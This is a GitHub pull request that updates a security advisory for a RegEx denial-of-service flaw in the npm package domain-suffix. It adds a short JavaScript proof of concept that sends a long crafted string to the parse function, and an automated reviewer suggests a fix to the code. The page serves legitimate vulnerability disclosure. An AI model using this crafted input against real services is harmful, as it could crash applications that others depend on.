Skip to content

Conversation

dsimk
Copy link

@dsimk dsimk commented Sep 2, 2025

Updates

  • Affected products
  • CVSS v3
  • Description

Comments
add poc

@Copilot Copilot AI review requested due to automatic review settings September 2, 2025 19:02
Copy link

@Copilot Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull Request Overview

Updates a security advisory (GHSA-cqfh-c4c5-c2hg) for a RegEx Denial of Service vulnerability in the domain-suffix package by adding a proof-of-concept exploit and modifying CVSS scoring.

  • Added a JavaScript proof-of-concept demonstrating the RegEx DoS vulnerability
  • Removed CVSS v3 scoring and kept only CVSS v4
  • Updated the modification timestamp

Tip: Customize your code reviews with copilot-instructions.md. Create the file or learn how to get started.

],
"summary": "domain-suffix RegEx Denial of Service",
"details": "RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.",
"details": "RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n const domainsuffix = require(\"domain-suffix\");\n // Crafting a string that will cause excessive backtracking\n const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"\n const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\nawait exploit();\n```",
Copy link
Preview

Copilot AI Sep 2, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The PoC code uses await domainsuffix.domainSuffix.parse() but then has await exploit() at the top level without proper async context. This will cause a syntax error since top-level await requires module context or an async wrapper function.

Suggested change
"details": "RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n const domainsuffix = require(\"domain-suffix\");\n // Crafting a string that will cause excessive backtracking\n const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"\n const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\nawait exploit();\n```",
"details": "RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function.\n\n## PoC\n```js\nasync function exploit() {\n const domainsuffix = require(\"domain-suffix\");\n // Crafting a string that will cause excessive backtracking\n const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\"\n const result = await domainsuffix.domainSuffix.parse(maliciousInput);\n}\n(async () => { await exploit(); })();\n```",

Copilot uses AI. Check for mistakes.

@github-actions github-actions bot changed the base branch from main to dsimk/advisory-improvement-6082 September 2, 2025 19:03
@advisory-database advisory-database bot merged commit db025f7 into dsimk/advisory-improvement-6082 Sep 3, 2025
4 checks passed
@advisory-database
Copy link
Contributor

Hi @dsimk! Thank you so much for contributing to the GitHub Advisory Database. This database is free, open, and accessible to all, and it's people like you who make it great. Thanks for choosing to help others. We hope you send in more contributions in the future!

@advisory-database advisory-database bot deleted the dsimk-GHSA-cqfh-c4c5-c2hg branch September 3, 2025 15:16
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant